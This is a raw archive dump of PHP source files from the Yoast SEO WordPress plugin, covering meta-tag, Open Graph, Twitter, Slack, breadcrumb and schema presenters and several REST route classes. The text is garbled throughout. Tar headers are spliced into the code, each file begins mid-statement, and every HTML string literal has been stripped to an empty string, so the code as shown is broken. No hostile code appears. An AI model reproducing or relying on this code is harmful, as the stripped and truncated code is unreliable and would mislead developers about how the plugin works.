'wpseo_title' - Allow changing the Yoast SEO generated title. * * @param string $title The title. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $title = \apply_filters( 'wpseo_title', $title, $this->presentation ); $title = $this->helpers->string->strip_all_tags( $title ); return \trim( $title ); } } presenters/score-icon-presenter.php000064400000001661152076255670013540 0ustar00title = $title; $this->css_class = $css_class; } /** * Presents the score icon. * * @return string The score icon. */ public function present() { return \sprintf( '', \esc_attr( $this->title ), \esc_html( $this->title ), \esc_attr( $this->css_class ), ); } } presenters/twitter/card-presenter.php000064400000001551152076255670014110 0ustar00presentation->twitter_card, $this->presentation ) ); } } presenters/twitter/title-presenter.php000064400000001641152076255670014320 0ustar00replace_vars( $this->presentation->twitter_title ), $this->presentation ) ); } } presenters/twitter/description-presenter.php000064400000002020152076255670015512 0ustar00replace_vars( $this->presentation->twitter_description ), $this->presentation ); } } presenters/twitter/creator-presenter.php000064400000000753152076255670014641 0ustar00presentation->twitter_creator; } } presenters/twitter/image-presenter.php000064400000001743152076255670014264 0ustar00presentation->twitter_image, $this->presentation ); } } presenters/twitter/site-presenter.php000064400000003223152076255700014133 0ustar00presentation->twitter_site, $this->presentation ); $twitter_site = $this->get_twitter_id( $twitter_site ); if ( ! \is_string( $twitter_site ) || $twitter_site === '' ) { return ''; } return '@' . $twitter_site; } /** * Checks if the given id is actually an id or a url and if url, distills the id from it. * * Solves issues with filters returning urls and theme's/other plugins also adding a user meta * twitter field which expects url rather than an id (which is what we expect). * * @param string $id Twitter ID or url. * * @return string|bool Twitter ID or false if it failed to get a valid Twitter ID. */ private function get_twitter_id( $id ) { if ( \preg_match( '`([A-Za-z0-9_]{1,25})$`', $id, $match ) ) { return $match[1]; } return false; } } presenters/debug/marker-close-presenter.php000064400000001506152076255700015141 0ustar00', \esc_html( $this->helpers->product->get_name() ), ); } /** * Gets the raw value of a presentation. * * @return string The raw value. */ public function get() { return ''; } } presenters/debug/marker-open-presenter.php000064400000003344152076255700014777 0ustar00helpers->product->get_name() ); $is_premium = $this->helpers->product->is_premium(); $version = ( $is_premium ) ? $this->construct_version_info() : 'v' . \WPSEO_VERSION; $url = ( $is_premium ) ? 'https://yoast.com/product/yoast-seo-premium-wordpress/' : 'https://yoast.com/product/yoast-seo-wordpress/'; return \sprintf( '', $product_name, $version, $url, ); } /** * Gets the plugin version information, including the free version if Premium is used. * * @return string The constructed version information. */ private function construct_version_info() { /** * Filter: 'wpseo_hide_version' - can be used to hide the Yoast SEO version in the debug marker (only available in Yoast SEO Premium). * * @param bool $hide_version */ if ( \apply_filters( 'wpseo_hide_version', false ) ) { return ''; } return 'v' . \WPSEO_PREMIUM_VERSION . ' (Yoast SEO v' . \WPSEO_VERSION . ')'; } /** * Gets the raw value of a presentation. * * @return string The raw value. */ public function get() { return ''; } } presenters/robots-presenter.php000064400000001307152076255700012776 0ustar00get() ); if ( \is_string( $robots ) && $robots !== '' ) { return \sprintf( '', \esc_attr( $robots ) ); } return ''; } /** * Gets the raw value of a presentation. * * @return array The raw value. */ public function get() { return $this->presentation->robots; } } presenters/abstract-indexable-tag-presenter.php000064400000003374152076255700016001 0ustar00'; public const META_NAME_CONTENT = ''; public const LINK_REL_HREF = ''; public const DEFAULT_TAG_FORMAT = self::META_NAME_CONTENT; /** * The tag format including placeholders. * * @var string */ protected $tag_format = self::DEFAULT_TAG_FORMAT; /** * The method of escaping to use. * * @var string */ protected $escaping = 'attribute'; /** * Returns a tag in the head. * * @return string The tag. */ public function present() { $value = $this->get(); if ( ! \is_string( $value ) || $value === '' ) { return ''; } /** * There may be some classes that are derived from this class that do not use the $key property * in their $tag_format string. In that case the key property will simply not be used. */ return \sprintf( $this->tag_format, $this->escape_value( $value ), $this->key, \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '', ); } /** * Escaped the output. * * @param string $value The desired method of escaping; 'html', 'url' or 'attribute'. * * @return string The escaped value. */ protected function escape_value( $value ) { switch ( $this->escaping ) { case 'html': return \esc_html( $value ); case 'url': return \esc_url( $value, null, 'attribute' ); case 'attribute': default: return \esc_attr( $value ); } } } presenters/meta-author-presenter.php000064400000002541152076255700013715 0ustar00presentation->model->object_sub_type !== 'post' ) { return ''; } $user_data = \get_userdata( $this->presentation->context->post->post_author ); if ( ! $user_data instanceof WP_User ) { return ''; } /** * Filter: 'wpseo_meta_author' - Allow developers to filter the article's author meta tag. * * @param string $author_name The article author's display name. Return empty to disable the tag. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return \trim( $this->helpers->schema->html->smart_strip_tags( \apply_filters( 'wpseo_meta_author', $user_data->display_name, $this->presentation ) ) ); } } presenters/slack/enhanced-data-presenter.php000064400000004216152076255700015241 0ustar00get(); $twitter_tags = ''; $i = 1; $class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : ''; foreach ( $enhanced_data as $label => $value ) { $twitter_tags .= \sprintf( "\t" . '' . "\n", $i, \esc_attr( $label ) ); $twitter_tags .= \sprintf( "\t" . '' . "\n", $i, \esc_attr( $value ) ); ++$i; } return \trim( $twitter_tags ); } /** * Gets the enhanced data array. * * @return array The enhanced data array */ public function get() { $data = []; $author_id = $this->presentation->source->post_author; $estimated_reading_time = $this->presentation->estimated_reading_time_minutes; if ( $this->presentation->model->object_sub_type === 'post' && $author_id ) { $data[ \__( 'Written by', 'wordpress-seo' ) ] = \get_the_author_meta( 'display_name', $author_id ); } if ( ! empty( $estimated_reading_time ) ) { /* translators: %s expands to the reading time number, in minutes */ $data[ \__( 'Est. reading time', 'wordpress-seo' ) ] = \sprintf( \_n( '%s minute', '%s minutes', $estimated_reading_time, 'default' ), $estimated_reading_time ); } /** * Filter: 'wpseo_enhanced_slack_data' - Allows filtering of the enhanced data for sharing on Slack. * * @param array $data The enhanced Slack sharing data. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return \apply_filters( 'wpseo_enhanced_slack_data', $data, $this->presentation ); } } presenters/meta-description-presenter.php000064400000003532152076255700014737 0ustar00'; } return ''; } /** * Run the meta description content through replace vars, the `wpseo_metadesc` filter and sanitization. * * @return string The filtered meta description. */ public function get() { $meta_description = $this->replace_vars( $this->presentation->meta_description ); /** * Filter: 'wpseo_metadesc' - Allow changing the Yoast SEO meta description sentence. * * @param string $meta_description The description sentence. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $meta_description = \apply_filters( 'wpseo_metadesc', $meta_description, $this->presentation ); $meta_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_description ) ); return \trim( $meta_description ); } } presenters/canonical-presenter.php000064400000002175152076255710013422 0ustar00presentation->robots, true ) ) { return ''; } /** * Filter: 'wpseo_canonical' - Allow filtering of the canonical URL put out by Yoast SEO. * * @param string $canonical The canonical URL. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return \urldecode( \trim( (string) \apply_filters( 'wpseo_canonical', $this->presentation->canonical, $this->presentation ) ) ); } } presenters/rel-prev-presenter.php000064400000003301152076255710013217 0ustar00presentation->robots, true ) ) { return ''; } /** * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel prev URL put out by Yoast SEO. * * @param string $canonical The rel prev URL. * @param string $rel Link relationship, prev or next. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_prev, 'prev', $this->presentation ) ); } } presenters/breadcrumbs-presenter.php000064400000017055152076255710013767 0ustar00get(); if ( ! \is_array( $breadcrumbs ) || empty( $breadcrumbs ) ) { return ''; } $links = []; $total = \count( $breadcrumbs ); foreach ( $breadcrumbs as $index => $breadcrumb ) { $links[ $index ] = $this->crumb_to_link( $breadcrumb, $index, $total ); } // Removes any effectively empty links. $links = \array_map( 'trim', $links ); $links = \array_filter( $links ); $output = \implode( $this->get_separator(), $links ); if ( empty( $output ) ) { return ''; } $output = '<' . $this->get_wrapper() . $this->get_id() . $this->get_class() . '>' . $output . 'get_wrapper() . '>'; $output = $this->filter( $output ); $prefix = $this->helpers->options->get( 'breadcrumbs-prefix' ); if ( $prefix !== '' ) { $output = "\t" . $prefix . "\n" . $output; } return $output; } /** * Gets the raw value of a presentation. * * @return array The raw value. */ public function get() { return $this->presentation->breadcrumbs; } /** * Filters the output. * * @param string $output The HTML output. * * @return string The filtered output. */ protected function filter( $output ) { /** * Filter: 'wpseo_breadcrumb_output' - Allow changing the HTML output of the Yoast SEO breadcrumbs class. * * @param string $output The HTML output. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return \apply_filters( 'wpseo_breadcrumb_output', $output, $this->presentation ); } /** * Create a breadcrumb element string. * * @param array $breadcrumb Link info array containing the keys: * 'text' => (string) link text. * 'url' => (string) link url. * (optional) 'title' => (string) link title attribute text. * @param int $index Index for the current breadcrumb. * @param int $total The total number of breadcrumbs. * * @return string The breadcrumb link. */ protected function crumb_to_link( $breadcrumb, $index, $total ) { $link = ''; if ( ! isset( $breadcrumb['text'] ) || ! \is_string( $breadcrumb['text'] ) || empty( $breadcrumb['text'] ) ) { return $link; } $text = \trim( $breadcrumb['text'] ); if ( $index < ( $total - 1 ) && isset( $breadcrumb['url'] ) && \is_string( $breadcrumb['url'] ) && ! empty( $breadcrumb['url'] ) ) { // If it's not the last element and we have a url. $link .= '<' . $this->get_element() . '>'; $title_attr = isset( $breadcrumb['title'] ) ? ' title="' . \esc_attr( $breadcrumb['title'] ) . '"' : ''; $link .= 'should_link_target_blank() ) { $link .= ' target="_blank"'; } $link .= ' href="' . \esc_url( $breadcrumb['url'] ) . '"' . $title_attr . '>' . $text . ''; $link .= 'get_element() . '>'; } elseif ( $index === ( $total - 1 ) ) { // If it's the last element. if ( $this->helpers->options->get( 'breadcrumbs-boldlast' ) === true ) { $text = '' . $text . ''; } $link .= '<' . $this->get_element() . ' class="breadcrumb_last" aria-current="page">' . $text . 'get_element() . '>'; } else { // It's not the last element and has no url. $link .= '<' . $this->get_element() . '>' . $text . 'get_element() . '>'; } /** * Filter: 'wpseo_breadcrumb_single_link' - Allow changing of each link being put out by the Yoast SEO breadcrumbs class. * * @param string $link_output The output string. * @param array $link The breadcrumb link array. */ return \apply_filters( 'wpseo_breadcrumb_single_link', $link, $breadcrumb ); } /** * Retrieves HTML ID attribute. * * @return string The id attribute. */ protected function get_id() { if ( ! $this->id ) { /** * Filter: 'wpseo_breadcrumb_output_id' - Allow changing the HTML ID on the Yoast SEO breadcrumbs wrapper element. * * @param string $unsigned ID to add to the wrapper element. */ $this->id = \apply_filters( 'wpseo_breadcrumb_output_id', '' ); if ( ! \is_string( $this->id ) ) { return ''; } if ( $this->id !== '' ) { $this->id = ' id="' . \esc_attr( $this->id ) . '"'; } } return $this->id; } /** * Retrieves HTML Class attribute. * * @return string The class attribute. */ protected function get_class() { if ( ! $this->class ) { /** * Filter: 'wpseo_breadcrumb_output_class' - Allow changing the HTML class on the Yoast SEO breadcrumbs wrapper element. * * @param string $unsigned Class to add to the wrapper element. */ $this->class = \apply_filters( 'wpseo_breadcrumb_output_class', '' ); if ( ! \is_string( $this->class ) ) { return ''; } if ( $this->class !== '' ) { $this->class = ' class="' . \esc_attr( $this->class ) . '"'; } } return $this->class; } /** * Retrieves the wrapper element name. * * @return string The wrapper element name. */ protected function get_wrapper() { if ( ! $this->wrapper ) { $this->wrapper = \apply_filters( 'wpseo_breadcrumb_output_wrapper', 'span' ); $this->wrapper = \tag_escape( $this->wrapper ); if ( ! \is_string( $this->wrapper ) || $this->wrapper === '' ) { $this->wrapper = 'span'; } } return $this->wrapper; } /** * Retrieves the separator. * * @return string The separator. */ protected function get_separator() { if ( ! $this->separator ) { $this->separator = \apply_filters( 'wpseo_breadcrumb_separator', $this->helpers->options->get( 'breadcrumbs-sep' ) ); $this->separator = ' ' . $this->separator . ' '; } return $this->separator; } /** * Retrieves the crumb element name. * * @return string The element to use. */ protected function get_element() { if ( ! $this->element ) { $this->element = \esc_attr( \apply_filters( 'wpseo_breadcrumb_single_link_wrapper', 'span' ) ); } return $this->element; } /** * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window. * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor. * * @return bool returns if the breadcrumb should be opened in another window. */ private function should_link_target_blank(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing. if ( \wp_unslash( $_GET['context'] ) === 'edit' ) { return true; } } return false; } } presenters/url-list-presenter.php000064400000002431152076255710013241 0ustar00links = $links; $this->class_name = $class_name; $this->target_blank = $target_blank; } /** * Presents the URL list. * * @return string The URL list. */ public function present() { $output = '
        '; foreach ( $this->links as $link ) { $output .= '
      • target_blank ) { $output .= ' target = "_blank"'; } $output .= ' href="' . $link['permalink'] . '">' . $link['title'] . '
      • '; } $output .= '
      '; return $output; } } presenters/schema-presenter.php000064400000002710152076255710012726 0ustar00 'Please use the "wpseo_schema_*" filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.', ]; /** * Filter: 'wpseo_json_ld_output' - Allows disabling Yoast's schema output entirely. * * @param mixed $deprecated If false or an empty array is returned, disable our output. * @param string $empty */ $return = \apply_filters( 'wpseo_json_ld_output', $deprecated_data, '' ); if ( $return === [] || $return === false ) { return ''; } /** * Action: 'wpseo_json_ld' - Output Schema before the main schema from Yoast SEO is output. */ \do_action( 'wpseo_json_ld' ); $schema = $this->get(); if ( \is_array( $schema ) ) { $output = WPSEO_Utils::format_json_encode( $schema ); $output = \str_replace( "\n", \PHP_EOL . "\t", $output ); return ''; } return ''; } /** * Gets the raw value of a presentation. * * @return array The raw value. */ public function get() { return $this->presentation->schema; } } presenters/open-graph/url-presenter.php000064400000002161152076255710014330 0ustar00presentation->open_graph_url, $this->presentation ) ); } } presenters/open-graph/title-presenter.php000064400000002215152076255710014647 0ustar00replace_vars( $this->presentation->open_graph_title ); /** * Filter: 'wpseo_opengraph_title' - Allow changing the Yoast SEO generated title. * * @param string $title The title. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $title = \trim( (string) \apply_filters( 'wpseo_opengraph_title', $title, $this->presentation ) ); return $this->helpers->string->strip_all_tags( $title ); } } presenters/open-graph/description-presenter.php000064400000002472152076255710016056 0ustar00replace_vars( $this->presentation->open_graph_description ); /** * Filter: 'wpseo_opengraph_desc' - Allow changing the Yoast SEO generated Open Graph description. * * @param string $description The description. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $meta_og_description = \apply_filters( 'wpseo_opengraph_desc', $meta_og_description, $this->presentation ); $meta_og_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_og_description ) ); return \trim( $meta_og_description ); } } presenters/open-graph/article-publisher-presenter.php000064400000002270152076255710017145 0ustar00presentation->open_graph_article_publisher, $this->presentation ) ); } } presenters/open-graph/article-published-time-presenter.php000064400000001250152076255720020061 0ustar00presentation->open_graph_article_published_time; } } presenters/open-graph/article-modified-time-presenter.php000064400000001244152076255720017665 0ustar00presentation->open_graph_article_modified_time; } } presenters/open-graph/type-presenter.php000064400000001762152076255720014516 0ustar00presentation->open_graph_type, $this->presentation ); } } presenters/open-graph/site-name-presenter.php000064400000002066152076255720015415 0ustar00presentation->open_graph_site_name, $this->presentation ) ); } } presenters/open-graph/article-author-presenter.php000064400000002251152076255720016452 0ustar00presentation->open_graph_article_author, $this->presentation ) ); } } presenters/open-graph/image-presenter.php000064400000010400152076255720014604 0ustar00 */ protected static $image_tags = [ 'width' => 'width', 'height' => 'height', 'type' => 'type', ]; /** * Returns the image for a post. * * @return string The image tag. */ public function present() { $images = $this->get(); if ( empty( $images ) ) { return ''; } $return = ''; foreach ( $images as $image_meta ) { $image_url = $image_meta['url']; if ( \is_attachment() ) { global $wp; $image_url = \home_url( $wp->request ); } $class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : ''; $return .= ''; foreach ( static::$image_tags as $key => $value ) { if ( empty( $image_meta[ $key ] ) ) { continue; } $return .= \PHP_EOL . "\t" . ''; } } return $return; } /** * Gets the raw value of a presentation. * * @return array The raw value. */ public function get() { $images = []; foreach ( $this->presentation->open_graph_images as $open_graph_image ) { $images[] = \array_intersect_key( // First filter the object. $this->filter( $open_graph_image ), // Then strip all keys that aren't in the image tags or the url. \array_flip( \array_merge( static::$image_tags, [ 'url' ] ) ), ); } return \array_filter( $images ); } /** * Run the image content through the `wpseo_opengraph_image` filter. * * @param array $image The image. * * @return array The filtered image. */ protected function filter( $image ) { /** * Filter: 'wpseo_opengraph_image' - Allow changing the Open Graph image url. * * @param string $image_url The URL of the Open Graph image. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $image_url = \apply_filters( 'wpseo_opengraph_image', $image['url'], $this->presentation ); if ( ! empty( $image_url ) && \is_string( $image_url ) ) { $image['url'] = \trim( $image_url ); } $image_type = ( $image['type'] ?? '' ); /** * Filter: 'wpseo_opengraph_image_type' - Allow changing the Open Graph image type. * * @param string $image_type The type of the Open Graph image. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $image_type = \apply_filters( 'wpseo_opengraph_image_type', $image_type, $this->presentation ); if ( ! empty( $image_type ) && \is_string( $image_type ) ) { $image['type'] = \trim( $image_type ); } else { $image['type'] = ''; } $image_width = ( $image['width'] ?? '' ); /** * Filter: 'wpseo_opengraph_image_width' - Allow changing the Open Graph image width. * * @param int $image_width The width of the Open Graph image. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $image_width = (int) \apply_filters( 'wpseo_opengraph_image_width', $image_width, $this->presentation ); if ( ! empty( $image_width ) && $image_width > 0 ) { $image['width'] = $image_width; } else { $image['width'] = ''; } $image_height = ( $image['height'] ?? '' ); /** * Filter: 'wpseo_opengraph_image_height' - Allow changing the Open Graph image height. * * @param int $image_height The height of the Open Graph image. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $image_height = (int) \apply_filters( 'wpseo_opengraph_image_height', $image_height, $this->presentation ); if ( ! empty( $image_height ) && $image_height > 0 ) { $image['height'] = $image_height; } else { $image['height'] = ''; } return $image; } } presenters/open-graph/locale-presenter.php000064400000002007152076255720014765 0ustar00presentation->open_graph_locale, $this->presentation ) ); } } routes/first-time-configuration-route.php000064400000020077152076255720014703 0ustar00first_time_configuration_action = $first_time_configuration_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $site_representation_route = [ 'methods' => 'POST', 'callback' => [ $this, 'set_site_representation' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'company_or_person' => [ 'type' => 'string', 'enum' => [ 'company', 'person', ], 'required' => true, ], 'company_name' => [ 'type' => 'string', ], 'company_logo' => [ 'type' => 'string', ], 'company_logo_id' => [ 'type' => 'integer', ], 'person_logo' => [ 'type' => 'string', ], 'person_logo_id' => [ 'type' => 'integer', ], 'company_or_person_user_id' => [ 'type' => 'integer', ], 'description' => [ 'type' => 'string', ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SITE_REPRESENTATION_ROUTE, $site_representation_route ); $social_profiles_route = [ 'methods' => 'POST', 'callback' => [ $this, 'set_social_profiles' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'facebook_site' => [ 'type' => 'string', ], 'twitter_site' => [ 'type' => 'string', ], 'other_social_urls' => [ 'type' => 'array', ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SOCIAL_PROFILES_ROUTE, $social_profiles_route ); $check_capability_route = [ 'methods' => 'GET', 'callback' => [ $this, 'check_capability' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'user_id' => [ 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::CHECK_CAPABILITY_ROUTE, $check_capability_route ); $enable_tracking_route = [ 'methods' => 'POST', 'callback' => [ $this, 'set_enable_tracking' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'tracking' => [ 'type' => 'boolean', 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::ENABLE_TRACKING_ROUTE, $enable_tracking_route ); $save_configuration_state_route = [ 'methods' => 'POST', 'callback' => [ $this, 'save_configuration_state' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'finishedSteps' => [ 'type' => 'array', 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SAVE_CONFIGURATION_STATE_ROUTE, $save_configuration_state_route ); $get_configuration_state_route = [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_configuration_state' ], 'permission_callback' => [ $this, 'can_manage_options' ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::GET_CONFIGURATION_STATE_ROUTE, $get_configuration_state_route ); } /** * Sets the site representation values. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function set_site_representation( WP_REST_Request $request ) { $data = $this ->first_time_configuration_action ->set_site_representation( $request->get_json_params() ); return new WP_REST_Response( $data, $data->status ); } /** * Sets the social profiles values. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function set_social_profiles( WP_REST_Request $request ) { $data = $this ->first_time_configuration_action ->set_social_profiles( $request->get_json_params() ); return new WP_REST_Response( [ 'json' => $data ], ); } /** * Checks if the current user has the correct capability to edit a specific user. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function check_capability( WP_REST_Request $request ) { $data = $this ->first_time_configuration_action ->check_capability( $request->get_param( 'user_id' ) ); return new WP_REST_Response( $data ); } /** * Enables or disables tracking. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function set_enable_tracking( WP_REST_Request $request ) { $data = $this ->first_time_configuration_action ->set_enable_tracking( $request->get_json_params() ); return new WP_REST_Response( $data, $data->status ); } /** * Checks if the current user has the right capability. * * @return bool */ public function can_manage_options() { return \current_user_can( 'wpseo_manage_options' ); } /** * Checks if the current user has the capability to edit a specific user. * * @param WP_REST_Request $request The request. * * @return bool */ public function can_edit_user( WP_REST_Request $request ) { $response = $this->first_time_configuration_action->check_capability( $request->get_param( 'user_id' ) ); return $response->success; } /** * Checks if the current user has the capability to edit posts of other users. * * @return bool */ public function can_edit_other_posts() { return \current_user_can( 'edit_others_posts' ); } /** * Saves the first time configuration state. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function save_configuration_state( WP_REST_Request $request ) { $data = $this ->first_time_configuration_action ->save_configuration_state( $request->get_json_params() ); return new WP_REST_Response( $data, $data->status ); } /** * Returns the first time configuration state. * * @return WP_REST_Response the state of the configuration. */ public function get_configuration_state() { $data = $this ->first_time_configuration_action ->get_configuration_state(); return new WP_REST_Response( $data, $data->status ); } } routes/yoast-head-rest-field.php000064400000013456152076255720012714 0ustar00post_type_helper = $post_type_helper; $this->taxonomy_helper = $taxonomy_helper; $this->post_helper = $post_helper; $this->head_action = $head_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $public_post_types = $this->post_type_helper->get_indexable_post_types(); foreach ( $public_post_types as $post_type ) { $this->register_rest_fields( $post_type, 'for_post' ); } $public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies(); foreach ( $public_taxonomies as $taxonomy ) { if ( $taxonomy === 'post_tag' ) { $taxonomy = 'tag'; } $this->register_rest_fields( $taxonomy, 'for_term' ); } $this->register_rest_fields( 'user', 'for_author' ); $this->register_rest_fields( 'type', 'for_post_type_archive' ); } /** * Returns the head for a post. * * @param array $params The rest request params. * @param string $format The desired output format. * * @return string|null The head. */ public function for_post( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) { if ( ! isset( $params['id'] ) ) { return null; } if ( ! $this->post_helper->is_post_indexable( $params['id'] ) ) { return null; } $obj = $this->head_action->for_post( $params['id'] ); return $this->render_object( $obj, $format ); } /** * Returns the head for a term. * * @param array $params The rest request params. * @param string $format The desired output format. * * @return string|null The head. */ public function for_term( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) { $obj = $this->head_action->for_term( $params['id'] ); return $this->render_object( $obj, $format ); } /** * Returns the head for an author. * * @param array $params The rest request params. * @param string $format The desired output format. * * @return string|null The head. */ public function for_author( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) { $obj = $this->head_action->for_author( $params['id'] ); return $this->render_object( $obj, $format ); } /** * Returns the head for a post type archive. * * @param array $params The rest request params. * @param string $format The desired output format. * * @return string|null The head. */ public function for_post_type_archive( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) { if ( $params['slug'] === 'post' ) { $obj = $this->head_action->for_posts_page(); } elseif ( ! $this->post_type_helper->has_archive( $params['slug'] ) ) { return null; } else { $obj = $this->head_action->for_post_type_archive( $params['slug'] ); } return $this->render_object( $obj, $format ); } /** * Registers the Yoast rest fields. * * @param string $object_type The object type. * @param string $callback The function name of the callback. * * @return void */ protected function register_rest_fields( $object_type, $callback ) { // Output metadata in page head meta tags. \register_rest_field( $object_type, self::YOAST_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] ); // Output metadata in a json object in a head meta tag. \register_rest_field( $object_type, self::YOAST_JSON_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] ); } /** * Returns the correct property for the Yoast head. * * @param stdObject $head The Yoast head. * @param string $format The format to return. * * @return string|array|null The output value. String if HTML was requested, array otherwise. */ protected function render_object( $head, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) { if ( $head->status === 404 ) { return null; } switch ( $format ) { case self::YOAST_HEAD_ATTRIBUTE_NAME: return $head->html; case self::YOAST_JSON_HEAD_ATTRIBUTE_NAME: return $head->json; } return null; } } routes/integrations-route.php000064400000004302152076255730012453 0ustar00integrations_action = $integrations_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $set_active_route = [ 'methods' => 'POST', 'callback' => [ $this, 'set_integration_active' ], 'permission_callback' => [ $this, 'can_manage_options' ], 'args' => [ 'active' => [ 'type' => 'boolean', 'required' => true, ], 'integration' => [ 'type' => 'string', 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::INTEGRATIONS_ROUTE . self::SET_ACTIVE_ROUTE, $set_active_route ); } /** * Checks if the current user has the right capability. * * @return bool */ public function can_manage_options() { return \current_user_can( 'wpseo_manage_options' ); } /** * Sets integration state. * * @param WP_REST_Request $request The request. * * @return WP_REST_Response */ public function set_integration_active( WP_REST_Request $request ) { $params = $request->get_json_params(); $integration_name = $params['integration']; $value = $params['active']; $data = $this ->integrations_action ->set_integration_active( $integration_name, $value ); return new WP_REST_Response( [ 'json' => $data ], ); } } routes/abstract-indexation-route.php000064400000001604152076255730013712 0ustar00index(); $next_url = false; if ( \count( $indexables ) >= $indexation_action->get_limit() ) { $next_url = \rest_url( $url ); } return $this->respond_with( $indexables, $next_url ); } } routes/wincher-route.php000064400000021400152076255730011402 0ustar00login_action = $login_action; $this->account_action = $account_action; $this->keyphrases_action = $keyphrases_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $authorize_route_args = [ 'methods' => 'GET', 'callback' => [ $this, 'get_authorization_url' ], 'permission_callback' => [ $this, 'can_use_wincher' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::AUTHORIZATION_URL_ROUTE, $authorize_route_args ); $authentication_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'authenticate' ], 'permission_callback' => [ $this, 'can_use_wincher' ], 'args' => [ 'code' => [ 'validate_callback' => [ $this, 'has_valid_code' ], 'required' => true, ], 'websiteId' => [ 'validate_callback' => [ $this, 'has_valid_website_id' ], 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args ); $track_keyphrases_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'track_keyphrases' ], 'permission_callback' => [ $this, 'can_use_wincher' ], 'args' => [ 'keyphrases' => [ 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::KEYPHRASES_TRACK_ROUTE, $track_keyphrases_route_args ); $get_keyphrases_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'get_tracked_keyphrases' ], 'permission_callback' => [ $this, 'can_use_wincher' ], 'args' => [ 'keyphrases' => [ 'required' => false, ], 'permalink' => [ 'required' => false, ], 'startAt' => [ 'required' => false, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::TRACKED_KEYPHRASES_ROUTE, $get_keyphrases_route_args ); $delete_keyphrase_route_args = [ 'methods' => 'DELETE', 'callback' => [ $this, 'untrack_keyphrase' ], 'permission_callback' => [ $this, 'can_use_wincher' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::UNTRACK_KEYPHRASE_ROUTE, $delete_keyphrase_route_args ); $check_limit_route_args = [ 'methods' => 'GET', 'callback' => [ $this, 'check_limit' ], 'permission_callback' => [ $this, 'can_use_wincher' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::CHECK_LIMIT_ROUTE, $check_limit_route_args ); $get_upgrade_campaign_route_args = [ 'methods' => 'GET', 'callback' => [ $this, 'get_upgrade_campaign' ], 'permission_callback' => [ $this, 'can_use_wincher' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::UPGRADE_CAMPAIGN_ROUTE, $get_upgrade_campaign_route_args ); } /** * Returns the authorization URL. * * @return WP_REST_Response The response. */ public function get_authorization_url() { $data = $this->login_action->get_authorization_url(); return new WP_REST_Response( $data, $data->status ); } /** * Authenticates with Wincher. * * @param 